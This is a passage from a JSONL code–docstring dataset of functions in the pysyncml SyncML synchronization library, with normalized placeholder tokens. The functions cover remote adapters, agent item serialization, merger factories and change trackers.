will be auto-loaded from the database. If it\n  cannot be loaded from the database, then it must be provided\n  before any synchronization can begin.\n\n:param peer:\n\n  TODO: document...\n\n:param maxGuidSize:\n\n  TODO: document...\n\n:param maxMsgSize:\n\n  TODO: document...\n\n:param maxObjSize:\n\n  TODO: document...\n\n:param conflictPolicy:\n\n  sets the default conflict handling policy for this adapter,\n  and can be overriden on a per-store basis (applies only when\n  operating as the server role).", "id": "f12334:c0:m1"}
{"signature": "def RemoteAdapter(self, **kw):", "body": "<EOL>ret = self._model.Adapter(isLocal=False, **kw)<EOL>self._model.session.add(ret)<EOL>if ret.devID is not None:<EOL><INDENT>self._model.session.flush()<EOL><DEDENT>return ret<EOL>", "docstring": ".. TODO:: move this documentation into model/adapter.py?...\n\nThe RemoteAdapter constructor supports the following parameters:\n\n:param url:\n\n  specifies the URL that this remote SyncML server can be reached\n  at. The URL must be a fully-qualified URL.\n\n:param auth:\n\n  set what kind of authentication scheme to use, which generally is\n  one of the following values:\n\n    **None**:\n\n      indicates no authentication is required.\n\n    **pysyncml.NAMESPACE_AUTH_BASIC**:\n\n      specifies to use \"Basic-Auth\" authentication scheme.\n\n    **pysyncml.NAMESPACE_AUTH_MD5**:\n\n      specifies to use MD5 \"Digest-Auth\" authentication scheme.\n      NOTE: this may not be implemented yet...\n\n:param username:\n\n  if the `auth` is not ``None``, then the username to authenticate\n  as must be provided via this parameter.\n\n:param password:\n\n  if the `auth` is not ``None``, then the password to authenticate\n  with must be provided via this parameter.", "id": "f12334:c0:m2"}
{"signature": "def deleteAllItems(self):", "body": "for item in self.getAllItems():<EOL><INDENT>self.deleteItem(item.id)<EOL><DEDENT>", "docstring": "[OPTIONAL] Deletes all items stored by this Agent. The default\nimplementation simply iterates over :meth:`getAllItems` and\ndeletes them one at a time.", "id": "f12337:c0:m1"}
{"signature": "def dumpItem(self, item, stream, contentType=None, version=None):", "body": "raise NotImplementedError()<EOL>", "docstring": "Converts the specified `item` to serialized form (such that it can\ntransported over the wire) and writes it to the provided file-like\n`stream` object. For agents that support multiple content-types,\nthe desired `contentType` and `version` will be specified as a\nparameter. If `contentType` and `version` are None, appropriate\ndefault values should be used. For agents that concurrently use\nmultiple content-types, the return value may be a two-element\ntuple of (contentType, version), thus overriding or enhancing the\nprovided values.", "id": "f12337:c0:m2"}
{"signature": "def dumpsItem(self, item, contentType=None, version=None):", "body": "buf = six.StringIO()<EOL>ret = self.dumpItem(item, buf, contentType, version)<EOL>if ret is None:<EOL><INDENT>return buf.getvalue()<EOL><DEDENT>return (ret[<NUM_LIT:0>], ret[<NUM_LIT:1>], buf.getvalue())<EOL>", "docstring": "[OPTIONAL] Identical to :meth:`dump`, except the serialized form\nis returned as a string representation. As documented in\n:meth:`dump`, the return value can optionally be a three-element\ntuple of (contentType, version, data) if the provided content-type\nshould be overridden or enhanced. The default implementation just\nwraps :meth:`dump`.", "id": "f12337:c0:m3"}
{"signature": "def loadItem(self, stream, contentType=None, version=None):", "body": "raise NotImplementedError()<EOL>", "docstring": "Reverses the effects of the :meth:`dumpItem` method, and returns\nthe de-serialized Item from the file-like source `stream`.\n\nNote: `version` will typically be ``None``, so it should either be\nauto-determined, or not used. This is an issue in the SyncML\nprotocol, and is only here for symmetry with :meth:`dumpItem`\nand as \"future-proofing\".", "id": "f12337:c0:m4"}
{"signature": "def loadsItem(self, data, contentType=None, version=None):", "body": "buf = six.StringIO(data)<EOL>return self.loadItem(buf, contentType, version)<EOL>", "docstring": "[OPTIONAL] Identical to :meth:`loadItem`, except the serialized\nform is provided as a string representation in `data` instead of\nas a stream. The default implementation just wraps\n:meth:`loadItem`.", "id": "f12337:c0:m5"}
{"signature": "def getAllItems(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns an iterable of all the items stored in the local datastore.", "id": "f12337:c0:m6"}
{"signature": "def addItem(self, item):", "body": "raise NotImplementedError()<EOL>", "docstring": "The specified `item`, which will have been created via a prior\n``loadItem()``, is added to the local datastore. This method\nreturns either a new :class:`pysyncml.Item\n<pysyncml.items.base.Item>` instance or the same `item` that was\npassed --- in either case, the returned item **MUST** have a valid\n:attr:`pysyncml.Item.id <pysyncml.items.base.Item.id>` attribute.", "id": "f12337:c0:m7"}
{"signature": "def getItem(self, itemID):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the :class:`pysyncml.Item <pysyncml.items.base.Item>`\ninstance associated with the specified `itemID`, which may or may\nnot have been converted to a string.", "id": "f12337:c0:m8"}
{"signature": "def replaceItem(self, item, reportChanges):", "body": "raise NotImplementedError()<EOL>", "docstring": "Updates the local datastore item with ID `item.id` to the value\nprovided as `item`, which will have been created via a prior\n``loadItem()``.\n\nIf `reportChanges` is True, then the return value will be used to\ntrack the changes that were applied. If `reportChanges` is True but\n``None`` is returned, then change tracking will be disabled for\nthis change, which will cascade to any past or future changes that\nhave not yet been synchronized. The return value must be a string\n(or an object that supports coercion via ``str()``). If multiple\nchanges accumulate for an object, they will be concatenated, in\norder, and delimited via a semicolon (\";\"). See :doc:`../merging`\nfor details.", "id": "f12337:c0:m9"}
{"signature": "def deleteItem(self, itemID):", "body": "raise NotImplementedError()<EOL>", "docstring": "Deletes the local datastore item with ID `itemID`.", "id": "f12337:c0:m10"}
{"signature": "def matchItem(self, item):", "body": "for match in self.getAllItems():<EOL><INDENT>if cmp(match, item) == <NUM_LIT:0>:<EOL><INDENT>return match<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "[OPTIONAL] Attempts to find the specified item and returns an item\nthat describes the same object although it's specific properties\nmay be different. For example, a contact whose name is an\nidentical match, but whose telephone number has changed would\nreturn the matched item. ``None`` should be returned if no match\nis found, otherwise the item that `item` matched should be\nreturned.\n\nThis is used primarily when a slow-sync is invoked and objects\nthat exist in both peers should not be replicated.\n\nNote that **NO** merging of the items' properties should be done;\nthat will be initiated via a separate call to :meth:`mergeItems`.\n\nThis method by default will iterate over all items (by calling\n:meth:`getAllItems`) and compare them using ``cmp()``. This means\nthat if the items managed by this agent implement the ``__eq__``\nor ``__cmp__`` methods, then matching items will be detected and\nreturned. Otherwise, any items that exist in both peers will be\nduplicated on slow-sync.\n\nSub-classes *should* implement a more efficient method of finding\nmatching items.\n\nSee :doc:`../merging` for details.", "id": "f12337:c0:m11"}
{"signature": "def mergeItems(self, localItem, remoteItem, changeSpec):", "body": "raise ConflictError('<STR_LIT>')<EOL>", "docstring": "[OPTIONAL] Merges the properties of `remoteItem`, which is an item\nprovided by a remote peer during a synchronization, into the\n`localItem`, which is an item retrieved from this agent either via\n:meth:`getItem` or :meth:`matchItem`. `changeSpec` will represent\nthe changes applied to `localItem` since `remoteItem` was last\nsynchronized, or will be ``None`` when called as a result of a\nslow-sync :meth:`matchItem` call.\n\nThis method should return a new change-spec (see\n:meth:`replaceItem` for details) that represents the changes\napplied to `localItem` from `remoteItem`.\n\nIf the items cannot be merged, then a `pysyncml.ConflictError`\nshould be raised with more descriptive information on what failed\nduring the merge --- in which case pysyncml will revert to the\nconflict resolution policy defined by `store.conflictPolicy` or\n`adapter.conflictPolicy`.\n\nIMPORTANT: if the merge fails, `localItem` and `remoteItem` must\nstay untouched by this call; most importantly, if the merge fails\nwith a ConflictError, then `remoteItem` must be in the identical\nstate as when it entered the call.\n\nThis method by default raises a ConflictError, which means that if\nany changes are made to the same item simultaneously by two\ndifferent peers, they will result in a conflict and will not be\nauto-mergeable.\n\nSee :doc:`../merging` for details.", "id": "f12337:c0:m12"}
{"signature": "def pushChange(self, attribute, currentValue, newValue):", "body": "raise NotImplementedError()<EOL>", "docstring": "Record the change to the specified `attribute` from the original\nvalue `currentValue` to `newValue`. The merger object itself\n(i.e. ``self``) is returned, allowing multiple changes to be\nchained. The change-spec returned by :meth:`getChangeSpec` will be\nupdated according to this merger's change detection strategy.\n\nIf `currentValue` is ``None``, the field is assumed to be *added*.\nConversely, if `newValue` is ``None``, the field is assumed to be\n*deleted*. If both are ``None`` (or, more generally speaking,\nequal), the request is ignored.", "id": "f12343:c0:m1"}
{"signature": "def getChangeSpec(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the current change-spec representing all calls to\n:meth:`pushChange` since construction of this merger.", "id": "f12343:c0:m2"}
{"signature": "def mergeChanges(self, attribute, localValue, remoteValue):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the value of the specified `attribute` as determined by\nthe change-spec stored by this, the current `localValue` of this\nSyncML peer (i.e. the serve-side) and the client-provided\n`remoteValue` (i.e. of the remote client-side). Raises a\n`pysyncml.ConflictError` if the local changes conflict with the\nvalue provided by the remote peer.\n\nIf `localValue` is ``None``, the field is assumed to not exist\nlocally. Conversely, if `remoteValue` is ``None``, the field is\nassumed to not exist on the remote peer. If both are ``None`` (or,\nmore generally speaking, equal), the value is returned as-is\nwithout further investigation.", "id": "f12343:c0:m3"}
{"signature": "def newMerger(self, changeSpec=None):", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns a :class:`Merger` for the specified `changeSpec` which can\nbe ``None`` if the merger is intended to generate a change-spec.", "id": "f12343:c1:m0"}
{"signature": "def __init__(self, sharedDefault=True, default=None, mergers=None, **kw):", "body": "self.shared  = sharedDefault<EOL>self.default = default or AttributeMergerFactory()<EOL>self.mergers = mergers or dict()<EOL>self.mergers.update(kw)<EOL>", "docstring": "The CompositeMergerFactory constructor accepts the following\nparameters:\n\n:param default:\n\n  The default merger factory (if unspecified, defaults to an\n  AttributeMergerFactory). See `sharedDefault` if the default\n  is not an attribute-based merger factory.\n\n:param mergers:\n\n  A dictionary of (attribute => MergerFactory) that override the\n  default merger factory for the specified attribute. If\n  unspecified, all attributes will use the default merger factory.\n\n:param sharedDefault:\n\n  The `sharedDefault` parameter controls how default attributes\n  get handled. When ``True`` (the default), then all default\n  attributes will share a Merger and the Merger will be passed the\n  attribute name during operations. When ``False``, then each\n  attribute will get its own Merger and operations will not get\n  the attribute name. It is important that the `default` and\n  `sharedDefault` parameters match - for example, if `default` is\n  set to a ``TextMergerFactory``, then `sharedDefault` must be set\n  to ``False``.", "id": "f12343:c6:m0"}
{"signature": "def append(self, fieldname, changeType, initialValue=None, isMd5=False):", "body": "raise NotImplementedError()<EOL>", "docstring": "Add a change to this ChangeTracker.\n\n:param fieldname:\n\n  The item attribute that was changed in some way. The type of\n  `fieldname` is dependent on which subclass of ChangeTracker is\n  being used.\n\n:param changeType:\n\n  The type of change that was applied to `fieldname`, which can be\n  one of ``pysyncml.ITEM_ADDED``, ``pysyncml.ITEM_MODIFIED``, or\n  ``pysyncml.ITEM_DELETED``.\n\n:param initialValue:\n\n  For non-ADDED change types, specifies the *initial* value of the\n  field, before the change was applied. Note that if the\n  `initialValue` is very large, an MD5 checksum can be provided\n  instead, in which case `isMd5` should be set to ``True``.\n\n:param isMd5:\n\n  Specifies whether `initialValue` is an MD5 checksum or not. For\n  large values of `initialValue` the ChangeTrackers will\n  automatically convert it to a checksum, but this allows the\n  caller to potentially do some additional optimizations.", "id": "f12347:c1:m3"}
{"signature": "def isChange(self, fieldname, changeType, newValue=None, isMd5=False):", "body": "raise NotImplementedError()<EOL>", "docstring": "Checks to see if the specified field should be changed to the\n`newValue`, first checking to see if the change conflicts with the\nchange-spec stored by this ChangeTracker. IMPORTANT: the\n`changeType` is relative to the **current** local value, as\nrecorded by the changes stored by this tracker from the\n**initial** value.\n\nSee :meth:`update` for a layer above.\n\nThis method will terminate in one of the following three ways:\n\n* returns None:\n\n  The `newValue` is actually outdated, but does not conflict.\n  The field should be left as-is.\n\n* returns `changeObject`:\n\n  If any form of change should be applied as a result of this\n  change request, then `changeObject` will be non-None and will\n  define how. The exact nature of the object is ChangeTracker\n  subclass dependent.\n\n* raises `pysyncml.ConflictError`:\n\n  The `newValue` conflicts with a change made by another source\n  and should be handled by following conflict resolution policy.\n\nFor example, if two clients and a server are tracking changes\nmade to the following fields::\n\n  initial values (on server, client 1 and client 2):\n    field \"a\" => \"A\"    (will not change)\n    field \"b\" => \"B\"    (will be modified by client 1)\n    field \"c\" => \"C\"    (will be deleted by client 1)\n    field \"d\" => \"D\"    (will be modified by client 2)\n    field \"e\" => \"E\"    (will be a conflict)\n    field \"f\" => \"F\"    (will be modified identically)\n\n  client 1 changes:\n    does not alter field \"a\"\n    modifies field \"b\" to \"Bmod\"\n    deletes field \"c\"\n    does not alter field \"d\"\n    deletes field \"e\"\n    modifies field \"f\" to \"Fmod\"\n\n  client 2 changes (simultaneous to client 1 changes):\n    does not alter field \"a\"\n    does not alter field \"b\"\n    does not alter field \"c\"\n    modifies field \"d\" to \"Dmod\"\n    modifies field \"e\" to \"Emod\"\n    modifies field \"f\" to \"Fmod\"\n\n  client 1 synchronizes with server ==> server values:\n    field \"b\" => \"Bmod\"\n    deletes fields \"c\" and \"e\"\n    field \"f\" => \"Fmod\"\n    change-spec for client 2: \"mod:b@vB,f@vF|del:c@vC,e@vE\"\n\n  when client 2 synchronizes, the framework detects a conflict and\n  requests a merge attempt by the agent. the agent then compares the\n  current values and those presented by client 2 and determines:\n    - field \"a\" is unchanged\n    - field \"b\" differs: changed to \"B\"\n    - field \"c\" differs: added as \"C\"\n    - field \"d\" differs: change to \"Dmod\"\n    - field \"e\" differs: added as \"Dmod\"\n    - field \"f\" is unchanged\n\n  for the fields that are mismatches (i.e. fields \"b\", \"c\", \"d\",\n  and \"e\"), the agent checks with this change tracker (\"ct\") to\n  see if it was actually a change, and if so, if it conflicts:\n\n    - ct.isChange('b', 'B')    ==> None\n    - ct.isChange('c', 'C')    ==> None\n    - ct.isChange('d', 'Dmod') ==> 'd'\n    - ct.isChange('e', 'Emod') ==> raises ConflictError\n\nNote that this assumes that the caller will have verified that the\nremote `currentValue` is **not** equal to the local active value -\ni.e. that there is some difference between the `fieldname` values,\nand a resolution needs to be negotiated.\n\n:param newValue:\n\n  A string representing the value that is being tested for\n  conflicts or outdated-ness.\n\n.. TODO:: perhaps rename this method?...", "id": "f12347:c1:m4"}
{"signature": "def update(self, fieldname, localValue, remoteValue):", "body": "if localValue == remoteValue:<EOL><INDENT>return localValue<EOL><DEDENT>ct = constants.ITEM_DELETED if remoteValue is None else constants.ITEM_MODIFIED<EOL>if localValue is None:<EOL><INDENT>ct = constants.ITEM_ADDED<EOL><DEDENT>changed = self.isChange(fieldname, ct, remoteValue)<EOL>if changed is None:<EOL><INDENT>return localValue<EOL><DEDENT>self.append(changed, ct, initialValue=localValue, isMd5=False)<EOL>return remoteValue<EOL>", "docstring": "Returns the appropriate current value, based on the changes\nrecorded by this ChangeTracker, the value stored by the server\n(`localValue`), and the value stored by the synchronizing client\n(`remoteValue`). If `remoteValue` conflicts with changes stored\nlocally, then a `pysyncml.ConflictError` is raised.\n\nIf a change needs to be applied because `remoteValue` has been\nupdated, then the new value will be returned, and this\nChangeTracker will be updated such that a call to\n:meth:`getChangeSpec` will incorporate the change.\n\n:param fieldname:\n\n  The name of the fieldname being evaluated.\n\n:param localValue:\n\n  The value of the field as stored by the server, usually the one that\n  also stored the current change-spec. If `localValue` is ``None``,\n  then it is assumed that the field was potentially added (this will\n  first be verified against the stored change-spec).\n\n:param remoteValue:\n\n  The new value being presented that may or may not be a source of\n  conflict. If `remoteValue` is ``None``, then it is assumed that\n  the field was potentially deleted (this will first be verified\n  against the stored change-spec).", "id": "f12347:c1:m5"}
{"signature": "def getFullChangeSpec(self):", "body": "return self._changes2spec(self.allchanges)<EOL>", "docstring": "Returns a string-representation of *all* changes recorded by this\nChangeTracker, including those provided in the constructor and any\ncalls to `pushChangeSpec()`. Note that this is usually *NOT* what\nyou are looking for when reporting changes to the pysyncml\nframework -- for that, see :meth:`getChangeSpec`.", "id": "f12347:c1:m6"}
{"signature": "def getChangeSpec(self):", "body": "return self._changes2spec(self.changes)<EOL>", "docstring": "Returns a string-representation of the changes recorded by this\nChangeTracker that were reported since construction (or calls to\npushChangeSpec()) by calls to :meth:`append` or :meth:`update`.\n\nThis is similar to, but distinct from, :meth:`getFullChangeSpec`.", "id": "f12347:c1:m7"}
{"signature": "def __init__(self, changeSpec=None, *args, **kw):", "body": "self.baseline = dict()<EOL>self.current  = dict()<EOL>super(AttributeChangeTracker, self).__init__(changeSpec, *args, **kw)<EOL>", "docstring": "Initializes this AttributeChangeTracker with the provided\n`changeSpec`, which is expected to be in the same format as what\nwould have been returned by a call to ``str()`` on this\nobject. The change-spec will look similar to::\n\n  add:tel-home|mod:firstname@m68b329d...,lastname@mh4d9...|del:tel-pager@mba45...\n\nIf `changeSpec` is not specified, this AttributeChangeTracker will\nstart assuming no prior changes were made to any fields.", "id": "f12347:c2:m0"}
{"signature": "def isChange(self, fieldname, changeType, newValue=None, isMd5=False):", "body": "<EOL>changes = self._collapseChanges(self.baseline, self.current)<EOL>if fieldname not in changes:<EOL><INDENT>return fieldname<EOL><DEDENT>cur = changes[fieldname]<EOL>if changeType == constants.ITEM_DELETED:<EOL><INDENT>if cur.op == constants.ITEM_ADDED or cur.op == constants.ITEM_DELETED:<EOL><INDENT>return None<EOL><DEDENT>raise ConflictError('<STR_LIT>'<EOL>% (fieldname,))<EOL><DEDENT>if isMd5Equal(newValue, isMd5, cur.ival, cur.md5):<EOL><INDENT>return None<EOL><DEDENT>raise ConflictError(<EOL>'<STR_LIT>' % (fieldname,))<EOL>", "docstring": "Implements as specified in :meth:`.ChangeTracker.isChange` where\nthe `changeObject` is simply the fieldname that needs to be\nupdated with the `newValue`. Currently, this is always equal to\n`fieldname`.", "id": "f12347:c2:m6"}
{"signature": "def __init__(self, changeSpec=None, *args, **kw):", "body": "self.baseline = []<EOL>self.current  = []<EOL>super(ListChangeTracker, self).__init__(changeSpec, *args, **kw)<EOL>", "docstring": "Initializes this ListChangeTracker with the provided `changeSpec`,\nwhich is expected to be in the same format as what would have been\nreturned by a call to ``str()`` on this object. The change-spec\nwill look similar to::\n\n  2:a,1:M68b329d...,1:mh4d9,2:Dba45...,3:a\n\nIf `changeSpec` is not specified, this ListChangeTracker will\nstart assuming no prior changes were made to any content and will\nexpect changes to be reported via :meth:`pushChange`.", "id": "f12347:c3:m0"}
{"signature": "def append(self, listIndex, changeType, initialValue=None, isMd5=False):", "body": "if not isMd5 and initialValue is not None and len(initialValue) > <NUM_LIT:32>:<EOL><INDENT>initialValue = hashlib.md5(initialValue).hexdigest()<EOL>isMd5        = True<EOL><DEDENT>cur = adict(index = int(listIndex),<EOL>op    = changeType,<EOL>ival  = initialValue,<EOL>md5   = isMd5)<EOL>for idx, val in enumerate(self.current):<EOL><INDENT>if val.index < cur.index:<EOL><INDENT>continue<EOL><DEDENT>if val.index > cur.index:<EOL><INDENT>self.current.insert(idx, cur)<EOL>break<EOL><DEDENT>raise InvalidChangeSpec('<STR_LIT>' % (cur.index,))<EOL><DEDENT>else:<EOL><INDENT>self.current.append(cur)<EOL><DEDENT>", "docstring": "Adds a change spec to the current list of changes. The `listIndex`\nrepresents the line number (in multi-line mode) or word number (in\nsingle-line mode), and must be **INCLUSIVE** of both additions and\ndeletions.", "id": "f12347:c3:m7"}
{"signature": "def isChange(self, listIndex, changeType, newValue=None, isMd5=False, token=None):", "body": "<EOL>adjust  = <NUM_LIT:0>               <EOL>token   = token           <EOL>index   = int(listIndex)<EOL>ret     = index<EOL>changes = self._collapseChanges(self.baseline, self.current)<EOL>for cur in changes:<EOL><INDENT>if cur.index > index:<EOL><INDENT>if changeType != constants.ITEM_ADDED:<EOL><INDENT>return (ret, None)<EOL><DEDENT>if token is None or token[<NUM_LIT:0>] != index - adjust:<EOL><INDENT>token = (ret, <NUM_LIT:0>)<EOL><DEDENT>token = (ret, token[<NUM_LIT:1>] + <NUM_LIT:1>)<EOL>return (ret, token)<EOL><DEDENT>if cur.index != index:<EOL><INDENT>if cur.op == constants.ITEM_DELETED:<EOL><INDENT>index  += <NUM_LIT:1><EOL>adjust += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>if token is not None and token[<NUM_LIT:0>] == index - adjust:<EOL><INDENT>index += token[<NUM_LIT:1>]<EOL>continue<EOL><DEDENT>if changeType == constants.ITEM_DELETED:<EOL><INDENT>if cur.op == constants.ITEM_ADDED:<EOL><INDENT>return (None, None)<EOL><DEDENT>raise ConflictError(<EOL>'<STR_LIT>' % (index,))<EOL><DEDENT>if changeType == constants.ITEM_ADDED:<EOL><INDENT>if token is None:<EOL><INDENT>token = (ret, <NUM_LIT:0>)<EOL><DEDENT>token = (ret, token[<NUM_LIT:1>] + <NUM_LIT:1>)<EOL>if cur.op == constants.ITEM_DELETED:<EOL><INDENT>if isMd5Equal(newValue, isMd5, cur.ival, cur.md5):<EOL><INDENT>return (None, token)<EOL><DEDENT><DEDENT>return (ret, token)<EOL><DEDENT>if cur.op == constants.ITEM_DELETED:<EOL><INDENT>index  += <NUM_LIT:1><EOL>adjust += <NUM_LIT:1><EOL>continue<EOL><DEDENT>if cur.op == constants.ITEM_ADDED:<EOL><INDENT>raise ConflictError(<EOL>'<STR_LIT>' % (index,))<EOL><DEDENT>if isMd5Equal(newValue, isMd5, cur.ival, cur.md5):<EOL><INDENT>return (None, None)<EOL><DEDENT>raise ConflictError(<EOL>'<STR_LIT>' % (index,))<EOL><DEDENT>if changeType != constants.ITEM_ADDED:<EOL><INDENT>return (ret, None)<EOL><DEDENT>if token is None or token[<NUM_LIT:0>] != index - adjust:<EOL><INDENT>token = (ret, <NUM_LIT:0>)<EOL><DEDENT>token = (ret, token[<NUM_LIT:1>] + <NUM_LIT:1>)<EOL>return (ret, token)<EOL>", "docstring": "Implements as specified in :meth:`.ChangeTracker.isChange` where\nthe `changeObject` is a two-element tuple. The first element is\nthe index at which the change should be applied, and the second\nelement is an abstract token that should be passed back into this\nmethod at every iteration.\n\nIMPORTANT: unlike the AttributeChangeTracker, the\nListChangeTracker's `isChange()` method is sensitive to order\n(which is why it uses the `changeObject` and `token`\nmechanisms. Therefore, it is important to call `isChange()`\nsequentially with all changes in the order that they occur in the\nchange list.", "id": "f12347:c3:m8"}
{"signature": "def cmpToDataStore_uri(base, ds1, ds2):", "body": "ret = difflib.get_close_matches(base.uri, [ds1.uri, ds2.uri], <NUM_LIT:1>, cutoff=<NUM_LIT:0.5>)<EOL>if len(ret) <= <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if ret[<NUM_LIT:0>] == ds1.uri:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Bases the comparison of the datastores on URI alone.", "id": "f12348:m6"}
{"signature": "def getAddressSize():", "body": "return int(platform.architecture(bits='<STR_LIT>')[<NUM_LIT:0>].replace('<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns the size of a memory address reference on the current\n    platform (e.g. 32 or 64 for respectively 32-bit or 64-bit operating\n    platforms) - defaults to 32 if it cannot be determined.", "id": "f12349:m9"}
{"signature": "def getMaxMemorySize(context=None):", "body": "return min(sys.maxint, int(pow(<NUM_LIT:2>,<NUM_LIT>)-<NUM_LIT:1>))<EOL>", "docstring": "Returns the maximum size of a memory object. By default this is,\n    set to ``sys.maxint``, however the `context` may override this behavior.\n\n    NOTE: currently, this is being hardcoded to a maximum of 2GB for\n          compatibility with funambol servers, which croak above that\n          value.\n\n    TODO: allow the context to control this, or implement auto-detect to\n          determine what the remote peer can support...", "id": "f12349:m10"}
{"signature": "def describeStats(stats, stream, title=None, details=True, totals=True, gettext=None):", "body": "from . import state<EOL>modeStringLut = dict((<EOL>(constants.SYNCTYPE_TWO_WAY,             '<STR_LIT>'),<EOL>(constants.SYNCTYPE_SLOW_SYNC,           '<STR_LIT>'),<EOL>(constants.SYNCTYPE_ONE_WAY_FROM_CLIENT, '<STR_LIT>'),<EOL>(constants.SYNCTYPE_REFRESH_FROM_CLIENT, '<STR_LIT>'),<EOL>(constants.SYNCTYPE_ONE_WAY_FROM_SERVER, '<STR_LIT>'),<EOL>(constants.SYNCTYPE_REFRESH_FROM_SERVER, '<STR_LIT>'),<EOL>))<EOL>if gettext is not None:<EOL><INDENT>_ = gettext<EOL><DEDENT>else:<EOL><INDENT>_ = lambda s: s<EOL><DEDENT>wSrc  = len(_('<STR_LIT>'))<EOL>wMode = len(_('<STR_LIT>'))<EOL>wCon  = len(_('<STR_LIT>'))<EOL>wCol  = len(_('<STR_LIT>'))<EOL>wMrg  = len(_('<STR_LIT>'))<EOL>wHereAdd = wPeerAdd = len(_('<STR_LIT>'))<EOL>wHereMod = wPeerMod = len(_('<STR_LIT>'))<EOL>wHereDel = wPeerDel = len(_('<STR_LIT>'))<EOL>wHereErr = wPeerErr = len(_('<STR_LIT>'))<EOL>totLoc = <NUM_LIT:0><EOL>totRem = <NUM_LIT:0><EOL>totErr = <NUM_LIT:0><EOL>totCol = <NUM_LIT:0><EOL>totMrg = <NUM_LIT:0><EOL>for key in stats.keys():<EOL><INDENT>wSrc  = max(wSrc, len(key))<EOL>wMode = max(wMode, len(modeStringLut.get(stats[key].mode)))<EOL>wCol  = max(wCol, len(num2str(stats[key].conflicts)))<EOL>wMrg  = max(wMrg, len(num2str(stats[key].merged)))<EOL>wHereAdd = max(wHereAdd, len(num2str(stats[key].hereAdd)))<EOL>wPeerAdd = max(wPeerAdd, len(num2str(stats[key].peerAdd)))<EOL>wHereMod = max(wHereMod, len(num2str(stats[key].hereMod)))<EOL>wPeerMod = max(wPeerMod, len(num2str(stats[key].peerMod)))<EOL>wHereDel = max(wHereDel, len(num2str(stats[key].hereDel)))<EOL>wPeerDel = max(wPeerDel, len(num2str(stats[key].peerDel)))<EOL>wHereErr = max(wHereErr, len(num2str(stats[key].hereErr)))<EOL>wPeerErr = max(wPeerErr, len(num2str(stats[key].peerErr)))<EOL>totLoc += stats[key].hereAdd + stats[key].hereMod + stats[key].hereDel<EOL>totRem += stats[key].peerAdd + stats[key].peerMod + stats[key].peerDel<EOL>totErr += stats[key].hereErr + stats[key].peerErr<EOL>totCol += stats[key].conflicts<EOL>totMrg += stats[key].merged<EOL><DEDENT>if wCon > wCol + <NUM_LIT:3> + wMrg:<EOL><INDENT>diff = wCon - ( wCol + <NUM_LIT:3> + wMrg )<EOL>wCol += diff / <NUM_LIT:2><EOL>wMrg = wCon - <NUM_LIT:3> - wCol<EOL><DEDENT>else:<EOL><INDENT>wCon = wCol + <NUM_LIT:3> + wMrg<EOL><DEDENT>if details:<EOL><INDENT>tWid = ( wSrc + <NUM_LIT:3> + wMode + <NUM_LIT:3><EOL>+ wHereAdd + wHereMod + wHereDel + wHereErr + <NUM_LIT:9> + <NUM_LIT:3><EOL>+ wPeerAdd + wPeerMod + wPeerDel + wPeerErr + <NUM_LIT:9> + <NUM_LIT:3><EOL>+ wCon )<EOL><DEDENT>else:<EOL><INDENT>if title is None:<EOL><INDENT>tWid = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>tWid = len(title)<EOL><DEDENT><DEDENT>if totals:<EOL><INDENT>sumlist = []<EOL>for val, singular, plural in [<EOL>(totLoc, _('<STR_LIT>'), _('<STR_LIT>')),<EOL>(totRem, _('<STR_LIT>'), _('<STR_LIT>')),<EOL>(totErr, _('<STR_LIT:error>'), _('<STR_LIT>')),<EOL>]:<EOL><INDENT>if val == <NUM_LIT:1>:<EOL><INDENT>sumlist.append(num2str(val) + '<STR_LIT:U+0020>' + singular)<EOL><DEDENT>elif val > <NUM_LIT:1>:<EOL><INDENT>sumlist.append(num2str(val) + '<STR_LIT:U+0020>' + plural)<EOL><DEDENT><DEDENT>if len(sumlist) <= <NUM_LIT:0>:<EOL><INDENT>sumlist = _('<STR_LIT>')<EOL><DEDENT>elif len(sumlist) == <NUM_LIT:1>:<EOL><INDENT>sumlist = sumlist[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>sumlist = '<STR_LIT:U+002CU+0020>'.join(sumlist[:-<NUM_LIT:1>]) + '<STR_LIT:U+0020>' + _('<STR_LIT>') + '<STR_LIT:U+0020>' + sumlist[-<NUM_LIT:1>]<EOL><DEDENT>if totMrg > <NUM_LIT:0> or totCol > <NUM_LIT:0>:<EOL><INDENT>sumlist += '<STR_LIT>'<EOL>if totMrg == <NUM_LIT:1>:<EOL><INDENT>sumlist += num2str(totMrg) + '<STR_LIT:U+0020>' + _('<STR_LIT>')<EOL><DEDENT>elif totMrg > <NUM_LIT:1>:<EOL><INDENT>sumlist += num2str(totMrg) + '<STR_LIT:U+0020>' + _('<STR_LIT>')<EOL><DEDENT>if totMrg > <NUM_LIT:0> and totCol > <NUM_LIT:0>:<EOL><INDENT>sumlist += '<STR_LIT:U+0020>' + _('<STR_LIT>') + '<STR_LIT:U+0020>'<EOL><DEDENT>if totCol == <NUM_LIT:1>:<EOL><INDENT>sumlist += num2str(totCol) + '<STR_LIT:U+0020>' + _('<STR_LIT>')<EOL><DEDENT>elif totCol > <NUM_LIT:1>:<EOL><INDENT>sumlist += num2str(totCol) + '<STR_LIT:U+0020>' + _('<STR_LIT>')<EOL><DEDENT><DEDENT>sumlist += '<STR_LIT:.>'<EOL>if len(sumlist) > tWid:<EOL><INDENT>wSrc += len(sumlist) - tWid<EOL>tWid = len(sumlist)<EOL><DEDENT><DEDENT>if title is not None:<EOL><INDENT>stream.write('<STR_LIT>' + '<STR_LIT:->' * tWid + '<STR_LIT>')<EOL>stream.write('<STR_LIT>'.format(title, w=tWid))<EOL>stream.write('<STR_LIT>')<EOL><DEDENT>hline = '<STR_LIT>'+ '<STR_LIT:->' * wSrc+ '<STR_LIT>'+ '<STR_LIT:->' * wMode+ '<STR_LIT>'+ '<STR_LIT:->' * ( wHereAdd + wHereMod + wHereDel + wHereErr + <NUM_LIT:9> )+ '<STR_LIT>'+ '<STR_LIT:->' * ( wPeerAdd + wPeerMod + wPeerDel + wPeerErr + 